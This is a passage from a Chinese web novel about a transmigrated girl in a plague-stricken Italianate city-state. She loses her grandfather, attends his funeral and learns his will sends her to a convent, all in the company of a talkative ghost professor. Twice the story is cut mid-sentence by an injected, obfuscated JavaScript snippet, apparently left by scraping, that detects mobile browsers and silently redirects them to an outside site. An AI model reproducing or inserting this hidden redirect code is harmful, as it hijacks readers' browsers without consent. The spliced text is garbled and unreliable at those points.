此时的菲丽丝已然化为惊弓之鸟,听到有陌生人来顿时一惊:“什么人?来做什么的?” “别紧张,应该不是坏人。”派勒乌索教授不知道这小孩为什么突然变得如此慌张,但还是尽力安抚道,“为首那人我认识,乔瓦尼·达西亚,是个很有名的雕塑家兼建筑师,我记得9年前他就被邀请来到阿斯卡设计监督扩建阿斯卡大教堂的事,我曾与他见过一面……” 这种有声望的人总不会在大白天众目睽睽下做什么坏事。 不过想起卡特琳娜之前提到过,小菲丽的祖父现在就在大教堂的建筑工地工作,他这位负责扩建教堂的建筑师怎么会不去看着工地反而来这里……光是想到这里,菲丽丝便又有了一个不妙的预感。 果然,这个预感在她下楼、见到那位传说中的建筑师时彻底实现了。 “菲丽希安娜!” 见到女孩下楼,原本还站在门口的建筑师立刻三两步走到她面前,面色焦急地上下打量起女孩,甚至想要伸手去拉她的手。 这是个完全的陌生人,菲丽丝条件反射地拍开他的手,面带惊恐地跑到现场唯一她认识的大人——卡特琳娜的身后。 她的表现让中年男人愣了下,但很快便像是回想起什么,歉疚又焦急地微微俯身看向她:“很抱歉吓到你了,菲丽……你……还认识我吗?” 菲丽丝看了眼男人带着怜悯的表情,又扫视了一圈,发现不管是卡特琳娜还是另一名跟在男人身后的少年脸上都对她的反应很惊讶……看来原本的“小菲丽”应当是认识这人的。 “乔、乔瓦尼……” 她看着中年男人那在自己看来还算年轻的脸,纠结了半天该叫叔叔还是爷爷后无果,干脆抿起唇不说话了。 “是我!感谢圣母,还能认出我就好……” 乔瓦尼大师虽然在笑,却像是要哭出来了。稳定了下情绪才继续说道:“马西莫……你祖父最近有事不能回家,他托我把你带到我家住几天。” 如果菲丽丝真是个小孩,说不定真会糊里糊涂跟着这所谓的“熟人”走了,可惜她不是。 不论是因为眼前的人确实陌生还是他那蹩脚的理由,菲丽丝都无法放心跟他离开。 最主要的一点,她明明刚见到了小菲丽的祖父,两人还说过话,对方显然是对自己的孙女十分重视。就这么短的时间里会出什么变故,以至于对方都没法亲自过来说一句就让其他人把她领走…… “……我要祖父跟我说。” 沉默半晌,菲丽丝做出一副胆怯的模样小声说道:“他刚刚才跟我说过,要跟我一起吃晚饭……” 明明是很普通的一句话,可乔瓦尼大师却沉默了。 跟在他身边的学徒似乎想说些什么,却被他制止,反而对其低声吩咐了些什么,后者才匆匆离开。 “你祖父很快就来。”乔瓦尼大师温声说道,“不过为了你好,我的孩子,稍后见到他后要记住,不能跟他靠得太近,也不要有眼神交流,更不能跟他对话,明白吗?” 他这话说得莫名其妙,还不能看不能说话,菲丽丝都怀疑他是不是要弄出一个“假祖父”糊弄她这小孩。 可她还没反应过来,一直飘在她身侧的派勒乌索教授却是忽地发出一个短促的音节,继而用一种怜悯的目光看过来。 尽管那幽灵什么都没说,菲丽丝却从他眼神中明白了什么,一颗心忽地往下坠。 那个瞬间,她的大脑是一片空白的……也许是出自某种保护机制,明明那个答案就摆在那里,她却刻意背过了身不去看,好像不去看那就不存在一般。 可逃避改变不了任何事。 在一段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517270|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诡异的寂静后,一个人影出现在了窗前。 “你别过去!” 见女孩似乎想要往窗户那走,漂浮在一旁的派勒乌索教授赶紧出声制止:“如果他真染上瘟疫,一个眼神接触都可能会把病传给你[*3]!” 菲丽丝的脚步停下了,却并没有收回视线。 即使那人背对着自己,可只是不到一个小时没见,对方也没换衣服,她还不至于把一个人的特征全都忘记。 那确实是小菲丽的祖父马西莫……一个光是看到她醒来就会激动到手足无措的人,此时却只敢背对着她,勉强露出半张侧脸,连一眼都不敢往屋里瞟。 “圣母在上,请保佑我那可怜的孙女菲丽希安娜……我现在无法照顾她的起居,只能让她去乔瓦尼大师家住一段时间。”那道略显佝偻的身影如此说道,“他是我的挚友,是我最信任的人,他会照顾好她……请圣母保佑我那可怜的孩子,保佑她能够远离一切灾厄……” 菲丽丝紧紧盯着那道人影,听着那疲惫中带着哽咽的声音,恍惚中竟看到了另一个人。 不知是共情还是这具身体还残余着的情感,她的情绪突然在一瞬间发生了割裂。 她的内心依然很平静,甚至还很冷静,眼泪却不断从睁大的眼中涌出,无声顺着脸颊滚落到下颚。 静静站了半晌,直到眼泪流干,女孩终于动了。 乔瓦尼看到她的嘴唇动了动,理智上他想要阻止,毕竟马西莫很有可能染了那可怕的瘟疫,那种瘟疫很有可能会因为两人产生对话而传染给对方……可想到这也许是这对祖孙最后的对话,他又有些不忍。 就是这短暂的犹豫让他失去了制止菲丽丝开口的先机。 只是令他没想到的是,那女孩居然是转头看向了自己。 “…………” “乔瓦尼大师,请转告我的祖父,我会听他的话,请他放心。”菲丽丝尽力让自己颤抖的声音稳定一些,断断续续说道,“也请转告他,不管……多忙,他也要好好吃饭。要多吃好吃的,喝干净的水,喝烧开的热汤,汤里要放盐……这样才能身体健康……” 窗口的身影随着她的话缓缓蹲下,进而传来一声低不可闻的呜咽。 站在室内的乔瓦尼也眼圈泛红,深吸一口气稳定好情绪,这才郑重点头:“我会转告他的,你放心。” 一场简单的告别就这样结束了。 菲丽丝甚至没能打包任何东西,直接被乔瓦尼大师和他的学徒带到了另一条街的房子里。在那里,乔瓦尼大师为她准备了一个单独的房间。 菲丽丝十分自觉地与所有人保持了距离。 自从来到新住处,她就把自己关到房间里,用心扮演一个连吃饭都只在自己的房间吃的自闭小孩。 乔瓦尼大师那刚怀孕的妻子一开始还对丈夫草率的决定感到忧心,见女孩主动隔离了自己反而松了口气,倒也没有再说什么。 闷在房间里的日子并不好受。 还好身为幽灵的派勒乌索教授一直跟在她身边,至少菲丽丝可以通过他了解一点外面的情况。 只是老教授也不敢跑到太远的距离。 按照他的说法,外面依然有很多之前那种类似“僵尸”的怪物在四处游荡。但它们大概是被菲丽丝吓到了,都会躲着菲丽丝飘,所以他待在她周围是最安全的。 菲丽丝对身边跟了个幽灵并无所谓。 尤其是这位老教授大概是教学生教久了,经常会原地开始上课,这对现在的菲丽丝来说也算是在收集情报,倒没什么不好的。 比起这种小事,她此时更关心小菲丽祖父的情况。 可马西莫现在的所在地与自己距离太远,是老教授不敢冒险去的地方,她自然也无法提前得知什么。 不论未来如何,自己会不会暴露,菲丽丝都想要马西莫活下来。 不仅是因为他是小菲丽的亲人,也是因为那是她目前在这个世界唯一的靠山,唯一值得信赖的人。 她还没有向他问清小菲丽过去到底经历了什么、看到过什么,关于这个孩子他都知道些什么…… 还有太多疑问没有得到答案,如果他就这么走了,一切都将无从解答。 最重要的是,那是一条人命。 不管出于什么心态,她都不想无缘无故看到一个之前还活生生站在自己眼前的人就那样死去。 在这样的焦虑中度过两天后,她终于得到了一个结果。 马西莫确实感染了那可怕的瘟疫,在送走她的第二天夜晚去世了。 乔瓦尼大师亲口向她说出了这个坏消息,并通知葬礼会在次日举行。 7. 阿斯卡共和国7 007 按照正常流程和习俗,一个人在被判定死亡后都要停灵几天才会正式下葬。 在这个没有医疗器械辅助的时代,这是防止医生错判死亡最简单有效的方法。 可今时不同往日,马西莫是在被确诊为染上疫病后死亡的,那为了城中其他人的安全,他的尸体就该尽快葬入墓地。 菲丽丝还记得自己在这个世界第一次看到送葬队伍就在几天前。 那时她感慨的同时也对这个时代的葬礼感到好奇,却没想到自己居然会在不久后亲身参与一次这样的仪式。 与给派勒乌索教授送葬的队伍结构一样,只不过这次的送葬人数要更少。 最前方引路的依然是穿着黑色祭披的神父,他身后理应跟随两名手持蜡烛的执事,可如今城内教堂的神职人员几乎都被派出去照顾病人,能分出一位神父来专门主持葬礼已经是给足了乔瓦尼大师的面子,实在无法要求更多。 马西莫是阿斯卡城中著名的石匠大师,作为石匠行会的重要成员之一,他的葬礼费用理应由行会承担,同行会的成员也该加入送葬队伍。 不过因为他死于瘟疫,许多原本说好要来送葬的人都没有来,最后连抬棺材的人数都没能凑齐。 乔瓦尼大师因此大发了一通脾气,可也无可奈何,只能自掏腰包请了些附近的人帮忙抬棺材,送葬队伍这才赶在第三个时辰的钟声敲响时准时出发。 作为死者唯一的亲属,即使被乔瓦尼大师和他的妻子伊莎贝拉连番劝阻,菲丽丝还是坚持加入到了送葬队伍中。 沉重的钟声回荡在石头砌成的山城中,送葬的队伍缓慢地往山下的修道院走。 菲丽丝的视线从脚下灰色的石板移向周边的建筑,最后看向远处灰蒙蒙的天空。 不愧是过了几百年依然能作为著名旅游地的城市,阿斯卡的建筑和风景确实值得赞叹。 只是她怎么都不会想到,她第一次用自己的双腿在城中行走、第一次亲眼去看这座美丽的城市,是在把亲人送入墓穴的路上。 越往下走,路两边的房屋便越破旧,悲哭声开始变多。 马西莫不是城中唯一感染疫病的人。 也许山上的感染人数还不算多,医生和教堂中的神父、执事还能勉强看顾过来,可靠近山脚下的病人连医生都看不起,如果真不幸染病,唯一能做的也只有祈祷了。 菲丽丝路过一处农户家时,忽地看到一个熟面孔正提着个小包匆匆路过。 那穿着黑衣的修士看到送葬队伍时似乎愣了下,摘帽站到一旁,短暂向死者默哀后立刻转身走进充满哭嚎声的农户家中。 那是之前为她看过病的马可修士。 菲丽丝刚从这具身体中醒来时还无意打了他一拳,所以记得格外清楚。 修道院中的修士也有研习医学的,想来马可修士就是其中之一…… 菲丽丝看了眼那扇半开着门,看到一位农妇打扮的女人正在向黑衣修士发出哀求,突然有种茫然的感觉。 从得知噩耗开始,她的思想就与这具身体的情绪分离了。 理智上她知道,那个名叫马西莫的男人并不是自己的亲人,她与他说过的话一只手都能数过来,严格来说他们只能算是陌生人。 一个陌生人的死不该给她太大的打击,事实上也是如此,她除了惋惜和怜悯外并没有太多悲伤的情绪。但自从看到那具躺在棺材中的尸体后她的大脑就有些木木的,像是生锈的轴承,完全分出心思无法思考任何事。 菲丽丝就在这样的状态下跟着送葬队伍来到山下的修道院,看着神父在挖好的墓穴旁开合嘴唇说了些什么,又看着棺材被土一点点掩埋,视线却始终无法从那上面移开。 阴云慢慢散去,阳光安静洒下。 鸟儿鸣叫着,将柔软的树枝压出一个弯度,轻盈飞过天空。 墓穴的前方,一块小小的墓碑刻下了其主人的名字。 马西莫·达斯卡(Massimo d’Asca)——意为来自阿斯卡的马西莫[*1]。 没有家族名,只有出生地,一个很符合这个时代的名字……一个她还没来得及去了解,就已经消失的人…… “…………” “菲丽,我们该走了。” 半晌,乔瓦尼大师的声音从旁边传来:“修道院的卡米罗院长还在等我们过去。” 他的话总算让女孩的眼珠动了下。 菲丽丝最后看了眼已经看不到棺材的墓穴,确定那里并没有任何类似鬼魂的东西冒出来,这才沉默着朝男人点点头,两人一起朝修道院的教堂侧门走去。 乔万尼大师口中的“卡米罗院长”算是菲丽丝目前见过的、年龄相当大的活人了。 也是看到他菲丽丝才突然意识到,不管是这两天从窗口往外看还是刚刚一路走来,她看到的路人几乎都是年轻人。 年纪大些的也只是像乔瓦尼大师这样,在现代时还会被称作“正值壮年”的中年人,像这位看着明显超过六十岁的老人还是第一次见。 “愿圣母保佑你们……” 白发白须的老院长面带怜悯地将手放到女孩的额头上,沉默数秒,又朝乔瓦尼大师打过招呼,这才将二人引到自己的房间中。 “真是个谁都无法预测的灾难……但这也是父神和圣母给予我们的考验。”年迈的修士看向尚且懵懂的女孩,叹息道,“马西莫大师是个好人,他一直在为圣母工作,虔诚又勤劳,我相信他一定能升入天堂。” 菲丽丝低垂着眼眸沉默点头,看着很乖顺,心中却没有丝毫波动。 她不是圣教徒,也不是新教徒,即使过去身边很多同学同事都有宗教信仰,她也曾接受过本地教会的帮助,可她和她的外祖父母并不相信那些。 她不否认有时候信仰会引人向善,日常生活中也不会排斥有信仰的人,可有些事不相信就是不相信。 或者按照她外祖母的话说,要是教会口中的父神真的存在且如此公正,那世界就不会有那么多犯罪和战争了。战争贩子就该在触犯教条的时候当场暴毙,而不是等到他们伤害过那么多善良的人后才被送到地狱。 不过此时情况不同,这里不是那个没有信仰也能自由生活的时代,该低头时就要低头的道理菲丽丝还是明白的。 况且她有预感,眼前的老人把她和乔瓦尼大师叫过来应该不只是说这些安慰人的话…… 果然,当老院长慢吞吞安慰过亡者家属后,话题终于拐到了重点。 “我想,公证人很快就会把马西莫大师正式的遗嘱送到你手上。为了避免误会,我想把他为你做的安排亲口跟你说明一下。” 发出两声沉闷的咳嗽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517271|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,老院长拄着拐杖走到书桌旁,从抽屉里拿出一张折叠好的纸。 “你们也知道,这几天城中办葬礼的人数不少,教堂里的神父们都忙不过来了……所以,马西莫大师去世前是我去为他做了临终圣事[*2]。他趁着自己还清醒时立下遗嘱,除了一部分遗产交由石匠行会,大部分的遗产都捐给了这座修道院。”见女孩不可置信地看过来,老院长赶紧解释道,“吾主可以为我证明,这并不是我在诓骗那可怜人的遗产。马西莫大师的遗愿是想将你送到附近的修女院,这笔钱只是暂存到我这里,等到找到愿意收留你的修女院,我会将其原封不动地转捐到那边。” “我可以做证,这确实是马西莫的遗愿。” 站在一旁的乔瓦尼大师如此说道:“他临终前一直挂念着你今后的生活。可你年纪太小,按照阿斯卡的规矩,在你成年之前无法真正继承他的遗产。如果在遗嘱上写把财产都留给你,那些钱财除了挂到石匠行会的账上,就是找一位远亲做你的监护人……” 如此说,这份奇怪的遗嘱就有解释了。 比起石匠行会和临时去找的监护人,马西莫显然更加信任修道院的修士。 尤其是在得知自己染上极容易丧命的瘟疫后,他大概也预料到了那更加糟糕的未来。 小菲丽这具身体只有不到十岁,距离成年还早,让这么一个连自保能力都没有的孩子拥有大量财富无疑是在考验周围人的人性。 可人性本就经不住考验,更何况是在瘟疫入城后,让一个孩子消失的方式实在太多了……相比起来,把财产全部捐给修会不但在道德上无可指摘,就算看在这笔捐款的份上修女院也不会太为难她这个带着“资助金”进来的孩子。 菲丽丝接过老院长递来的纸条,视线扫过上面那些完全看不懂的文字,心情不由更加沉重。 马西莫确实是个好祖父,即使病重,他也尽力为未成年的孙女规划好了自己能想到的、最好的出路…… “我觉得这个安排相当不错。” 见她迟迟不说话,飘在身边的派勒乌索教授也出声表达了自己的意见:“修女院虽然与世隔绝,常年见不到外人,可比较大的修道院和修女院里一般都设有藏书室,绝对不会无聊,罗兰那边许多贵族都会趁着女儿年幼将人送到里面学习识字……” 识字…… 菲丽丝看着字条的眼眸亮了亮,随后再次陷入沉思。 “……如果你不想去修女院,我可以收养你。” 见她长久没有回答的意思,乔瓦尼大师咬咬牙,对着女孩半蹲下来保证道:“我和伊莎贝拉会把你当作亲生女儿养大……” “…………” “谢谢您的慷慨,但我想遵从祖父的遗愿。” 沉默过后,菲丽丝分别向面前的两人微微垂首道谢:“感谢你们能为他举办这场葬礼。” 女孩的懂事和镇定令人意外,也让卡米罗院长松了口气。 “你同意的话,我立刻写信送往阿西亚的圣那图拉修道院,我的好友萨瓦托雷会来接你离开。”老院长笑着说道,“你应该还记得他吧?净化之月时他还来过阿斯卡,我记得你们当时聊得很投缘……” 菲丽丝对上老人慈爱的目光,身体瞬间僵住。 萨瓦……什么来着? 这都谁跟谁啊?她根本不认识! 8. 阿斯卡共和国8 008 从自身的现状出发,菲丽丝对做修女没什么抵触情绪。 虽说做修女会被一直困在修女院里,除了其他修女基本见不到外人,尤其见不到男人,严格的修女院还会禁止修女与异性说话,更不能结婚等等……可对菲丽丝来说,这些限制也并不是那么难以接受。 首先是她过去就是个“室内派”。上学期间都是家里学校两点一线,除非有家人或朋友硬拉着出门外从不参加什么聚会。 工作后也一样,尤其是从大厂辞职、加入那个小工作室后,除了工作和采购必需品外都不会出门,每年去几家漫展上摆摊算是为数不多的外出社交活动。 至于恋爱结婚……在这个食物短缺、卫生条件差、医疗水平极低、生个孩子都能随机带走一个母亲的时代,成为一名终身不嫁人的修女显然更有诱惑力。 最重要的一点是,马西莫已经把他的遗产捐给修道院了,契约已经达成,随意更改遗嘱既违背了亡者的意愿也名不正言不顺。 就算院长人好,愿意把这部分遗产还给她,让她带着这笔钱成为乔瓦尼大师的养女,菲丽丝也不觉得这是个好主意。 乔瓦尼大师确实是真心对她这个老友的后代多有照顾,可菲丽丝能看出来,他的妻子伊莎贝拉并不是那么欢迎她。 菲丽丝对此也没什么可抱怨的。他的妻子现在正怀着孕,在这种时候上门打扰确实不合适。 如果换位思考一下,自己的丈夫为了讲义气,突然把一个刚接触过瘟疫病人的小孩带回家养着,她没直接把人赶出去都是她善良,还要当成亲生孩子养到成年……光是想想,菲丽丝都要替这位夫人感到糟心。 马西莫和乔瓦尼也许真的是至交好友,但这些情分让他冒险收留她、掏钱办完好友的葬礼已经足够了。 眼前已经有成为修女这条路,菲丽丝并不想把这份对双方来说都很珍贵的情分消耗殆尽。 另一方面,作为马西莫的挚友,乔瓦尼大师应该对原本的“小菲丽”有一定了解,长期接触下自己难免会露出马脚。 如果去修女院那就是新环境,全都是新认识的人,就算自己与原本那个“小菲丽”性格上有差别也不会有人在意…… 一切都很顺利,可万万没想到那修道院院长说的“给你选一个修女院”的负责人并不是他本人,而是一个不知道从哪里冒出的“熟人”…… 她根本不认识那个叫萨什么什么的人啊! 尤其这回连派勒乌索教授都帮不上忙了,那是一人一鬼都没听说过的名字,最要命的是对方还跟原本的小菲丽“聊得很投缘”……到时候她可要怎么装啊? 从修道院回到自己的房间后,菲丽丝就抱住自己的脑袋开始苦思冥想,试图挖掘出一点这具身体原本该有的记忆。 很可惜,原主小菲丽的记忆消失得干干净净,完全没给她留下任何提示。 “…………” “你说,如果我表现出一些异常举动,比如被人发现跟你说话,会被当成女巫拉出去审判吗?” 自顾自扯了一会头发,菲丽丝终于向飘在身边的幽灵表达了自己的担忧。 “女巫?你是指像阿祖尔神话里那种会使用魔法的女性?”派勒乌索教授思索片刻,中肯答道,“那些都是传说故事里的人物,怎么可能会被当真?如果真被人看到你对着空气说话,你被当成疯子的概率倒是更大一些。” 他在说出“女巫”这个词时语气是陌生中带着惊讶,敏感度相当之低,低到菲丽丝立刻察觉到不对。 “女巫审判”可是中世纪的重要标签之一,传说当时整个旧大陆出了不少荒唐的审判案例,且这样的猎巫行动一直到近现代才慢慢消失……这种在小说游戏电影里都要用烂的元素总不可能是假的吧? “就只是这样?”她不可置信地追问道,“难道不会有人把我绑到火刑柱上烧死?” “什么?!” 派勒乌索教授看上去比她还震惊,那双隐藏在松弛眼皮下的眼睛都瞪圆了:“圣母在上!你怎么会产生这么可怕的想法!” 一通鸡同鸭讲后,菲丽丝总算从老教授愤慨的声音中得到了一个好消息。 她所在的时间点,还没出现过所谓的“猎巫运动”。 别说猎巫了,就连后世臭名昭著的异端裁判所也才出现了一百年,且它现在并不是一个永久性组织,更类似世俗中的流动法庭,只有某地出现严重的异端邪说时才会被教廷派出去。[*1] “愚蠢!粗鲁!野蛮人的行径!” 听完菲丽丝描述的“女巫审判”,老教授气到开始跺脚,愤怒地大吼大叫:“多残忍的人才会想出这种惩罚方式?多愚蠢的人才会认可这种审判得出的结果?!这不是在寻找真相,分明是威慑,威胁那些可怜的无知者成为他们的附庸!会使用这种审判方式的人不是蠢货就是暴君!” 菲丽丝没料到他的反应会这么大,忍不住又多问了一句:“所以,那个异端裁判所没有使用过火刑?” 闻言,原本还在跳脚的老教授动作卡顿了一下,怒骂的声音也跟着消失。 “……有过。” “一百年前,教皇冕下为了讨伐普拉派,曾批准将那些至死都不肯放弃异端邪说的人处以火刑……不过我去罗兰游学的时候了解过那次动乱的起因,普拉派的学说并没有传说中的那么极端!” 过了半晌,他终是叹息一声,可很快脸上就再次露出怒色:“后来之所以会闹得那么大,不过是当时的罗兰国王想要限制教廷在他领土上的影响力,所以暗中支持那些异端四处讲学,只是他没想到教皇会下手那般强硬……结果呢?他本人倒是向教皇屈服得很快,可怜那些被他轻易抛弃的平教徒,到死都不知道自己不过是两个暴君相斗中的牺牲品!” ……之前还是“教皇冕下”呢,没两句话都成“暴君”了。 回想起之前老人被其他亡灵袭击、躺在地上痛骂神明的模样,菲丽丝倒是对这位如同从石膏像里走出的老学者有了点更多元的了解。 菲丽丝相信他活着的时候肯定不敢这么说话,果然死人的顾虑就是比活人少很多…… 看了会老人骂人时生动的模样,她又望向窗外灰蒙蒙的天空。 不知何时外面已经下起了小雨,街道上的行人也比之前少了不少。就在菲丽丝看着窗外发呆的短短几分钟,又有一拨人抬着用布遮挡的担架匆匆向山下走去。 距离有些远,她无法看清上面的人究竟是生是死,但可以确定的是上面并没有类似亡灵的东西飘出来。 看看被抬走的人,又看看眼前这个把辱骂对象从教廷扩展到各国领主的“派勒乌索教授”,菲丽丝不由开始好奇一个从最开始就被自己忽略的问题。 像他这样的幽灵到底是怎么形成的? 好像也不是所有人死了都会变成幽灵,至少她没能看到马西莫的……尤其是眼前这位老教授与那些会互相啃食的幽灵不太一样,不但能与她交流,还保有自己的思想和理智的幽灵,她目前也只见到了这一个…… “派勒乌索教授,你还记得你是怎么变成现在这样的吗?” 犹豫许久后,菲丽丝还是决定直接询问本人:“我第一次看到你时你就在大街上,但我听别人说你是在阿斯卡城外就去世了……之后你是什么时候恢复自我意识的?” 相比起之前略带好奇的语气,这次她的声音明显慎重了不少。 派勒乌索教授有些诧异地看向女孩,最后像是突然被点醒什么般陷 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派勒乌索教授虽然已经失去了自己的肉|身,理论上已经无法再撞击上任何实体的东西,此时却依然能像个不停弹射的乒乓球上下乱窜……真是不知道该说这一幕是惊悚还是好笑。 “你、你别这样,冷静点!” 菲丽丝一边往旁边躲一边劝说道:“说不定没你想得那么糟,强盗都是劫财的,说不定连看都不会看你那书……” “不可能!我亲眼看到那些吃粪的猪猡撬走了书封上的黄金!”老人悲愤道,“为了羞辱我,他们还在我面前把书页扔进了泥地,随便放任马蹄在上面践踏!” 菲丽丝:………… 嵌有黄金的书,那确实挺难让强盗放过的。 就在菲丽丝犹豫着该继续劝说还是让对方发泄完情绪时,一道立在她门边的身影也缓缓直起身,蹑手蹑脚地走到楼下。 “怎么端回来了?她不愿意吃饭?” 看到妻子端着食物、一脸微妙地走下楼,乔瓦尼大师跟着皱起眉:“不吃饭可不行,我上去劝劝她……” “哎,别现在去。” 女人犹豫片刻后还是把托盘放下,拉着丈夫走到角落,贴着对方的耳朵小声道:“马西莫家的这个孩子……是不是真的有些问题?我刚刚听到她一直在房间里自言自语,像是在跟谁对话似的……” 乔瓦尼大师闻言也很惊讶:“你真听到了?她都说了些什么?” “没听太清,但确实一直在说话。”他的妻子说道,“我之前就听外面有人说这孩子在看到玛莎难产后就疯了,之前她不是还到处跟人说她母亲没有死,只是飞到天上了……” “嘘————” 乔瓦尼大师赶紧打住妻子的话,眼神复杂地看了眼楼上。 “这事我跟你说了,你可千万别往外说……”他压低声音对妻子说道,“马西莫之前跟我说过,法纳托和玛莎去世后这孩子就经常说会看见奇怪的东西……” 女人闻言小小惊呼一声:“所以那些传言都是真的?她真的是……” “不不,卡米罗院长亲口解释过,说那孩子只是受了刺激,好好安抚一阵就会恢复正常……果然,大斋期前马西莫带她去了趟修道院,回来后就好了。” 见妻子的表情缓和下来,乔万尼大师又着重叮嘱道:“院长那边已经全都安排好了,来接人的灰袍修士大概会在一个月内从阿西亚赶过来。你这些天辛苦些,多陪她说说话,安抚好她的情绪。” 听完丈夫所说的后续安排,女人紧绷的肩膀总算放松下来,松口气的同时也在胸前画出祈祷的手势。 “圣母在上,既然是卡米罗院长说的,那确实可信。” 祈祷过,她看向楼上的目光也充满了怜悯:“她也是个可怜的孩子……放心吧,这段时间我会好好照顾她。” 9. 阿斯卡共和国9 009 不知是不是自己的错觉,菲丽丝总感觉乔万尼大师的妻子似乎对她的态度有了微妙的变化。 之前她在房间里一蹲就是一整天对方都不会管,每天送饭也是敲一下门,把饭放到门口就离开,两人就像陌生的房东和房客一样默契地不去打扰对方。 可不知是不是确定了她并没有染病,葬礼后对方来送饭时并不会敲一下门后直接离开,反而会进屋跟她寒暄几句家常话。 菲丽丝不能确定对方态度转变的原因,可身边的这位老教授自从想起自己死前的执念后就变得无比聒噪,噪声堪比五百只□□在耳边齐鸣。 一开始她还对文化人骂人的词汇感到新鲜,到后面是真的听到头疼了。 乔瓦尼大师的妻子——伊莎贝拉就是在这个时候拯救了她。 大概是出自生前的习惯,派勒乌索教授在有外人跟她说话时会暂时忍住自己磅礴的骂人欲,臭着张脸飘到角落自闭。 噪声的根源消除了,菲丽丝面对伊莎贝拉时自然而然地带上了笑脸。 而对伊莎贝拉来说,确定眼前的小孩不会成为一个长期负担,态度当然也变得和缓很多。 等到两天后双方更熟悉后,她还会建议女孩下楼到房子的其他区域走一走,但外门还是不能出的。 这不是针对她的禁令,伊莎贝拉本人最近除了购买必需品也不常出门。 原本她平时还会与城中交好的妇女一起刷羊毛纺线,现在却只能待在家里,实在是因为外面疫病的扩散速度太快了。 借着女人的抱怨声,菲丽丝在闲暇时委婉建议过对方要不要去城外人少的地方躲避瘟疫,却只换来对方看孩子般无奈的眼神。 “谁都知道清新的空气能带来健康,可也要有那个条件啊,我们在郊外又没有房子……”伊莎贝拉一边摇着纺车一边苦笑道,“而且乔瓦尼在这边还有工作,只要上面不提也不能停工……再说城外也有城外的难处,我们现在在城里还有城市委员会派人维持治安,郊外的土匪强盗可不少。” “就是呀!而且最近那些强盗也太猖狂了,连派勒乌索家的马车都抢!” 坐在旁边刷羊毛的女佣米娅附和着女主人,撇着嘴恨恨道:“就是现在出了疫病,大家都没有精力管他们,不然派勒乌索大人肯定不会放任那些家伙在阿斯卡周边这么猖狂!” “……这个我听尼罗家的人说过。她们说抢劫派勒乌索家的强盗都是去年被赶出城的那批人,幸存的几名护卫认出其中几个人了。”女主人显然比女佣态度更冷静,唏嘘道,“他们对九人议会抱有怨气,所以声称打劫也会重点挑阿斯卡人去打劫,尤其是带有那九个家族徽章的人更是不会放过……也是那位老教授太倒霉,回来的时间实在不巧。” 女佣听过也不由面露怜悯:“是啊。听说那位的遗嘱可是早早立好了,会把自己所有的遗产平分给阿斯卡城中所有穷人,是个大善人呢……谁能想到会得到这样的结局啊……” 听着她们的感慨,又瞥了眼正悄悄往这边投来好奇目光的幽灵教授,菲丽丝忍了忍还是没能忍住,开口问道:“那些人做了什么错事吗?为什么会被赶出城?” 对面的两个女人面面相觑一阵,又不由同时露出无奈的表情。 “因为没有粮食了啊。”伊莎贝拉言简意赅地说道,“那些都是城内的乞丐和穷人,没有工作基本就是靠乞讨为生。要是过去粮食充足就算了,可这两年周边的土地都收成不好,面包的价格都翻好几倍了,大家自己都吃不饱哪还能养活那么多人?” “就是!那群不劳而获的家伙靠着我们施舍的东西活着却不知感恩!” 女佣附和着女主人的话,语气却更增添一层露骨的恶意:“你年纪小不常出门,不知道那些人有多坏!那阵子他们到处在城里偷盗抢劫,很多可怜人被盗走了多年的积蓄,甚至有人因此在去年冻死了……有些人就是不配活着!就是一群该死的吸血虫——” “圣母在上,米娅快别说了!” 女主人冷静打断她的话:“说到底他们都是些可怜人……你是个好姑娘,不该说这种话。” 被训斥的女佣沉默下来,可双手粗暴的刷羊毛动作还是暴露了她心中积攒了多少怒意。 菲丽丝习惯性去看站在墙角的老教授,却见他只垂首站在原地,不知在想什么。 如果这位派勒乌索教授没有说谎,他与家族闹掰,很多年都没有联系,近些年又旅居在国外不在阿斯卡,那把穷人赶出城的事确实与他没有什么关系……可他本人却因此被杀,实在不由让人感慨命运的巧合和不讲道理。 不过等到乔瓦尼大师回家,一家人在餐桌上再次谈及那件惊心动魄的抢劫事件时,菲丽丝又听到了第三种说法。 “你们以为那些真正需要帮助的乞丐能有本事做强盗?那些老弱病残都走不到维利斯就会死在路上。”乔瓦尼大师一边喝着麦粥一边含糊不清地说道,“去年维利斯救济堂确实收留了不少我们这边赶出去的穷人,还大肆宣扬,讽刺我们不作为,好像他们去年没往城外驱逐乞丐一样……要我说,那些人能成为强盗回到阿斯卡抢劫,说不定就是听了维利斯那边人的唆使,或者干脆就是他们支持的!” 这个观点显然同时得到了女主人和女佣的认可,一桌子的阿斯卡人都开始痛骂起维利斯人的奸诈虚伪。 菲丽丝之前也隐隐感觉到阿斯卡跟自己的邻居很不对付,却没想到两者的积怨会这么深。 虽然她现在也算是阿斯卡人,但维利斯城毕竟是文艺复兴的起点,去违心抨击埋在心中多年的“梦想之城”菲丽丝还是做不到,此时便只能专心埋头吃饭。 好在这里的大人没有强迫小孩站队的爱好,她的沉默并没有引起其他人的注意。三人随意说了两句,话题便转向了他处。 作为现在家中唯一一个还能正常接触外界的人,乔瓦尼大师每天都能带回一些对菲丽丝来说十分珍贵的情报。 现在外面的情况确实不太好。虽然乔瓦尼大师居住的这片区域并没有太多生病的人,可疫病已经在工匠与工人间传开,大教堂的扩建也跟着被影响。 